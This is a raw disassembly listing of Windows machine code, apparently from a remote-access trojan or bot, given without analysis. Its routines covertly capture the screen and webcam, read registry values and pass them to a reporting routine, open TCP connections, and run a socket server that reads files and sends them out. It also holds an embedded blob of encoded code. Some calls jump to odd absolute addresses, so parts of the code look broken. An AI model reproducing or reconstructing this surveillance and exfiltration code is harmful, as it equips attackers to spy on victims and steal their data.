sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF90
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAFAC
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAFAC
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAFAC
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAFAC
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFF0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFE8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE74
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFEC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAEC8
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F0922h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 265098Ch
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAF00
		push	[ebp+var_4]
		call	dword_4CAE60
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE60
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE60
		push	[ebp+var_4]
		call	dword_4CAE60


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB000


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB000


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB000


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB054
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB000


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB000


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB000


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB000


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB000


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB000


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB054
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_436224, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_436224
		mov	esi, offset dword_436230
		mov	edi, offset dword_437428


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB014
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAEA4
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437424 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437424 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF80
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB03C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 4374A468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22BA314h, 43D15868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43747468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0DCE89064h, 330225A7h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 84E89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 744068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 2BA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_4375A4
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAFA4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFD0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437580
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF48
		push	dword ptr [ebp-2Eh]
		call	dword_4CAED4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAFCC
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_4374A4
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 26F0922h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437560
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2720BF7h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		push	eax
		call	dword_4CAFA0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437548
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437530
		push	eax
